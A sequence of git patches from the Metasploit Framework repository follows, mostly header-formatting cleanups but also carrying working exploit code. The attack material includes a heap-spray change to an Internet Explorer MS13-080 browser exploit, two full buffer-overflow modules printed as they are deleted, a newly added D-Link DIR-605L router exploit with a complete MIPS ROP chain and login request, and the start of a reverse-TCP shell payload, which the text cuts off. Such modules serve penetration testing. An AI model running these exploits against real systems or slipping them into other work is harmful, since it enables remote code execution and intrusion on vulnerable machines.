5 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 0447278a3b..2b07addb12 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -66,8 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ], + [ 'IE 7 on Windows XP SP3', {} ], [ 'IE 8 on Windows XP SP3', {} ], - [ 'IE 8 on Windows 7', {} ] + [ 'IE 8 on Windows 7', {} ], ], 'Payload' => { @@ -121,7 +122,7 @@ function dll() { } window.onload = function() { - window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll(); + window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll(); } @@ -208,7 +209,7 @@ window.onload = function() { os = target_info[:os] js_payload = '' - if os =~ /Windows (7|XP) MSIE 8\.0/ + if os =~ /Windows (7|XP) MSIE [78]\.0/ js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target not supported by this attack.") @@ -224,8 +225,11 @@ sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { - if (i==7) { data += unescape("%u2020%u2030"); } - else { data += "\\u4141\\u4141"; } + // IE 7 + if (i==6) { data += unescape("%u2020%u2030"); } + // IE 8/9 + else if (i==7) { data += unescape("%u2020%u2030"); } + else { data += unescape("%u4141%u4141"); } } data += "\\u4141"; From ba2c52c5deeb08db0869f4f678186e9962d4cd4e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 16:25:48 -0500 Subject: [PATCH 205/409] Fixed up some more weird splat formatting. --- modules/auxiliary/analyze/jtr_aix.rb | 1 - modules/auxiliary/analyze/jtr_crack_fast.rb | 1 - modules/auxiliary/analyze/jtr_linux.rb | 1 - modules/auxiliary/analyze/jtr_mssql_fast.rb | 1 - modules/auxiliary/analyze/jtr_mysql_fast.rb | 1 - modules/auxiliary/analyze/jtr_oracle_fast.rb | 1 - modules/auxiliary/analyze/jtr_unshadow.rb | 1 - modules/auxiliary/analyze/postgres_md5_crack.rb | 1 - modules/auxiliary/docx/word_unc_injector.rb | 1 - .../dos/windows/smb/ms10_006_negotiate_response_loop.rb | 1 - modules/auxiliary/gather/d20pass.rb | 1 - modules/auxiliary/gather/dns_info.rb | 1 - modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb | 1 + modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- modules/auxiliary/scanner/openvas/openvas_otp_login.rb | 1 + modules/auxiliary/scanner/pop3/pop3_login.rb | 1 + modules/auxiliary/server/capture/http_javascript_keylogger.rb | 1 - modules/auxiliary/sniffer/psnuffle.rb | 1 - modules/auxiliary/voip/asterisk_login.rb | 1 + modules/auxiliary/vsploit/malware/dns/dns_query.rb | 1 - modules/exploits/linux/http/dreambox_openpli_shell.rb | 1 - modules/exploits/osx/local/sudo_password_bypass.rb | 2 +- modules/exploits/windows/fileformat/fatplayer_wav.rb | 1 - modules/payloads/stages/android/shell.rb | 1 - 24 files changed, 6 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 2d249b27ba..cbe3c02004 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index e98217b48f..25349f1991 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 63783252e8..48f3c23837 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index 0a6da9f4a1..a1d9d8ba2c 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index e4c96aba1f..488c6c7e36 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index d8dfea869e..dea55ad410 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb index 11ed7b53fd..b46d2f9b01 100644 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ b/modules/auxiliary/analyze/jtr_unshadow.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/analyze/postgres_md5_crack.rb b/modules/auxiliary/analyze/postgres_md5_crack.rb index 5262315096..2b9c9df045 100644 --- a/modules/auxiliary/analyze/postgres_md5_crack.rb +++ b/modules/auxiliary/analyze/postgres_md5_crack.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 202c149cf5..2c843d4529 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://Metasploit.com/projects/Framework/ ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index a329698b66..4e28e03430 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 4221807537..af89d50b9f 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index cb9b993cc6..565b318658 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -1,5 +1,4 @@ ## -## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index e0a55e15ec..812b5a5700 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -1,3 +1,4 @@ +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index c5aa50e456..53e90b01aa 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -1,4 +1,4 @@ -# +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 7e6a0a2a33..8d7ffe0954 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -1,3 +1,4 @@ +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index bc0663d459..fa04ff718a 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -1,3 +1,4 @@ +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index fcf16d152b..cccca6818a 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com ## require 'msf/core' diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index ff759a14fa..6ac41473a1 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## ## diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 20173265fa..10c985db9e 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -1,3 +1,4 @@ +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index be1e7865c5..9a250facf6 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -1,5 +1,4 @@ ## -# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index 2fbda937f0..b9175e4cdb 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index a083ff1673..e4b92f24ca 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -1,8 +1,8 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# ## + require 'msf/core' require 'rex' require 'msf/core/exploit/exe' diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb index 1d499c3677..4761478099 100644 --- a/modules/exploits/windows/fileformat/fatplayer_wav.rb +++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 7c6e90a6ae..0ebba6357e 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework From f0aedd932d781b37eb36334250c90c5e900cfacc Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 16:29:55 -0500 Subject: [PATCH 206/409] More stragglers --- modules/payloads/stages/java/shell.rb | 1 - modules/post/multi/gather/resolve_hosts.rb | 2 +- modules/post/windows/gather/credentials/mremote.rb | 1 - modules/post/windows/gather/credentials/smartftp.rb | 1 - modules/post/windows/gather/resolve_hosts.rb | 2 +- modules/post/windows/recon/computer_browser_discovery.rb | 1 - 6 files changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index a9a5d72015..0a9b078fb6 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index adf1e63b4c..7de9c28c52 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -1,4 +1,4 @@ -# +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index 299c8b3eea..bf73a554b8 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index b103cfc5db..d536fd0cc0 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb index 93327d5d3e..2af8233154 100644 --- a/modules/post/windows/gather/resolve_hosts.rb +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -1,4 +1,4 @@ -# +## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index 9c4d299c75..1b03b5f375 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework From 3e31235a1428c3b4d5472cd72c8858b6cdec4e9f Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 16:37:15 -0500 Subject: [PATCH 207/409] Minor Ruby changes to resplat.rb --- tools/dev/resplat.rb | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index 9acef8a8c9..01bf8c3f3d 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -18,15 +18,6 @@ raise ArgumentError, "Need a filename or directory" unless (dir and File.readabl def is_ruby?(fname) return true if fname =~ /\.rb$/ - file_util = "" - begin - file_util = %x{which file}.to_s.chomp - rescue Errno::ENOENT - end - if File.executable? file_util - file_fingerprint = %x{#{file_util} #{fname}} - !!(file_fingerprint =~ /Ruby script/) - end end def resplat(line) @@ -49,7 +40,7 @@ Find.find(dir) do |infile| fixed = [] data.each_line do |line| case line - when /^[\x20\x09]*#( ##)? This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*#[\s\t]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /^# Framework web site for more information on licensing and terms of use./ + when /^[\s]*#( ##)? This file is part of the Metasploit Framework and may be subject to/, /^[\s]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\s]*# web site for more information on licensing and terms of use\./, /^[\s]*#[\s]{1,3}http:\/\/metasploit.com\/(framework\/)?/, /^# Framework web site for more information on licensing and terms of use./ new_line = resplat(line) fixed << new_line if new_line else From 0ce221274b04c6768278d3a09edef508cbe6a823 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 16 Oct 2013 16:40:54 -0500 Subject: [PATCH 208/409] Change JS comments in Ruby. --- .../exploits/windows/browser/ms13_080_cdisplaypointer.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 2b07addb12..60c5c761ab 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -205,6 +205,11 @@ window.onload = function() { rop_payload end + # + # IE 6's call is at 6 + # IE 8's call is at 7 + # Don't think this one triggers on IE9 + # def get_sploit_html(target_info) os = target_info[:os] js_payload = '' @@ -225,9 +230,7 @@ sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { - // IE 7 if (i==6) { data += unescape("%u2020%u2030"); } - // IE 8/9 else if (i==7) { data += unescape("%u2020%u2030"); } else { data += unescape("%u4141%u4141"); } } From f1a67ecafe5c159918094ff0dd62409134bedfbd Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 16 Oct 2013 17:02:28 -0500 Subject: [PATCH 209/409] Remove overdue deprecated modules [See PT #56795804] [See PT #56796034] --- .../windows/brightstor/tape_engine_8A.rb | 94 ------------------- .../windows/fileformat/a-pdf_wav_to_mp3.rb | 77 --------------- 2 files changed, 171 deletions(-) delete mode 100644 modules/exploits/windows/brightstor/tape_engine_8A.rb delete mode 100644 modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb diff --git a/modules/exploits/windows/brightstor/tape_engine_8A.rb b/modules/exploits/windows/brightstor/tape_engine_8A.rb deleted file mode 100644 index f8ba96a56b..0000000000 --- a/modules/exploits/windows/brightstor/tape_engine_8A.rb +++ /dev/null @@ -1,94 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - - Rank = AverageRanking - - include Msf::Exploit::Remote::DCERPC - include Msf::Module::Deprecated - deprecated Date.new(2013, 10, 2), "exploit/windows/brightstor/tape_engine_0x8a" - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup - r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow - the buffer and execute arbitrary code. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '68330'], - [ 'URL', 'http://www.metasploit.com/users/mc' ], - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Payload' => - { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", - 'StackAdjustment' => -3500, - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ], - ], - 'DisclosureDate' => 'Oct 4 2010', - 'DefaultTarget' => 0)) - - register_options([ Opt::RPORT(6502) ], self.class) - end - - def exploit - - connect - - handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) - print_status("Binding to #{handle} ...") - - dcerpc_bind(handle) - print_status("Bound to #{handle} ...") - - request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00" - request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - dcerpc.call(0x2B, request) - - sploit = NDR.long(4) - sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00") - - print_status("Trying target #{target.name}...") - - begin - dcerpc_call(0x8A, sploit) - rescue Rex::Proto::DCERPC::Exceptions::NoResponse - end - - handler - disconnect - - end - -end -=begin -/* opcode: 0x8A, address: 0x100707D0 */ - -long sub_100707D0 ( - [in] handle_t arg_1, - [in] long arg_2, - [in][ref][string] char * arg_3 -); -=end diff --git a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb deleted file mode 100644 index 64f5bbd398..0000000000 --- a/modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb +++ /dev/null @@ -1,77 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Remote::Seh - include Msf::Module::Deprecated - deprecated Date.new(2013, 10, 2), "exploit/windows/fileformat/a_pdf_wav_to_mp3" - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When - the application is used to import a specially crafted m3u file, a buffer overflow occurs - allowing arbitrary code execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'd4rk-h4ck3r', # Original Exploit - 'Dr_IDE', # SEH Exploit - 'dookie' # MSF Module - ], - 'References' => - [ - [ 'OSVDB', '67241' ], - [ 'EDB', '14676' ], - [ 'EDB', '14681' ] - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'seh', - 'DisablePayloadHandler' => 'true', - }, - 'Payload' => - { - 'Space' => 600, - 'BadChars' => "\x00\x0a", - 'StackAdjustment' => -3500 - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe - ], - 'Privileged' => false, - 'DisclosureDate' => 'Aug 17 2010', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), - ], self.class) - - end - - def exploit - - sploit = rand_text_alpha_upper(target['Offset']) - sploit << generate_seh_payload(target.ret) - - print_status("Creating '#{datastore['FILENAME']}' file ...") - - file_create(sploit) - - end - -end From 3d3a7b381842cb28379d367fdadfa815b5b042a7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 01:08:01 -0500 Subject: [PATCH 210/409] Add support for OSVDB 86824 --- .../linux/http/dlink_dir605l_captcha_bof.rb | 127 +++++++++++++++ .../singles/linux/mipsbe/shell_reverse_tcp.rb | 149 +++++++++--------- 2 files changed, 200 insertions(+), 76 deletions(-) create mode 100644 modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb new file mode 100644 index 0000000000..1c441c0b93 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -0,0 +1,127 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + HttpFingerprint = { :pattern => [ /Boa/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The + vulnerability exists while handling user supplied captcha information, and is due to the + insecure usage of sprintf on the getAuthCode() function. This module has been tested + successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment. + }, + 'Author' => + [ + 'Craig Heffner', # Vulnerability discovery, original exploit + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 3000, + 'BadChars' => "\x00\x67\x26\x2b" + }, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + [ 'OSVDB', '86824' ], + [ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ] + ], + 'Targets' => + [ + [ 'DLink DIR-605L 1.13', + { + 'Offset' => 94, + 'LibcBase' => 0x4212e000, # QEMU environment + 'ApmibBase' => 0x42095000, # QEMU environment + #LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call + #LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow + #LOAD:000248DC jalr $t9 + 'Ret' => 0x248D4, # from libc + #LOAD:0002B954 move $t9, $s2 # Controlled + #LOAD:0002B958 lw $ra, 0x30+var_4($sp) # allows to get controlled $ra from the stack + #LOAD:0002B95C lw $s4, 0x30+var_8($sp) + #LOAD:0002B960 lw $s3, 0x30+var_C($sp) + #LOAD:0002B964 lw $s2, 0x30+var_10($sp) + #LOAD:0002B968 lw $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack + #LOAD:0002B96C lw $s0, 0x30+var_18($sp) + #LOAD:0002B970 jr $t9 + 'RopJmpSleep' => 0x2B954, # from libc + 'RopSleep' => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache + #LOAD:000027E8 move $t9, $s1 # Controlled + #LOAD:000027EC jalr $t9 ; sub_22D0 + #LOAD:000027F0 addiu $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining + 'RopPtrStack' => 0x027E8, # from apmi + #LOAD:00001D78 move $t9, $a2 ; $a2 contains a poiner to the stack + #LOAD:00001D7C jalr $t9 + 'RopJmpStack' => 0x01D78 # from apmi + } + ] + ], + 'DisclosureDate' => 'Oct 08 2012', + 'DefaultTarget' => 0)) + + end + + def check + res = send_request_cgi({ 'uri' => '/comm.asp' }) + if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/ + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Safe + end + + def exploit + + shellcode = "" + shellcode << rand_text(target['Offset']) # Padding + shellcode << rand_text(4) # $s0 + shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N") # $s1 + shellcode << [target['LibcBase'] + target['RopSleep']].pack("N") # $s2 + shellcode << rand_text(4) # $s3 + shellcode << [target['LibcBase'] + target.ret].pack("N") # $ra + shellcode << rand_text(0x1c) # filler + shellcode << rand_text(4) # $s0 + shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1 + shellcode << rand_text(4) # $s2 + shellcode << rand_text(4) # $s3 + shellcode << rand_text(4) # $s4 + shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra + shellcode << rand_text(0x1c) # filler + shellcode << payload.encoded # shellcode + + print_status("#{peer} - Sending exploit...") + + send_request_cgi({ + 'method' => 'POST', + 'uri' => "/goform/formLogin", + 'encode_params' => false, + 'vars_post' => { + 'VERIFICATION_CODE' => 'myvoiceismypassportverifyme', + 'VER_CODE' => '1234', + 'login_n' => 'admin', + 'FILECODE' => shellcode, + 'curTime' => '1348588030496', + 'login_pass' => 'Zm9vb255b3UA', + 'login_name' => 'admin' + } + }) + + end + +end diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index ce744e1fb2..584ed43491 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -5,8 +5,6 @@ # http://metasploit.com/ ## -# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org) - require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' @@ -22,7 +20,15 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline', 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => 'Julien Tinnes', + 'Author' => + [ + 'rigan ', # Original shellcode + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + 'EDB' => '18226', + ], 'License' => 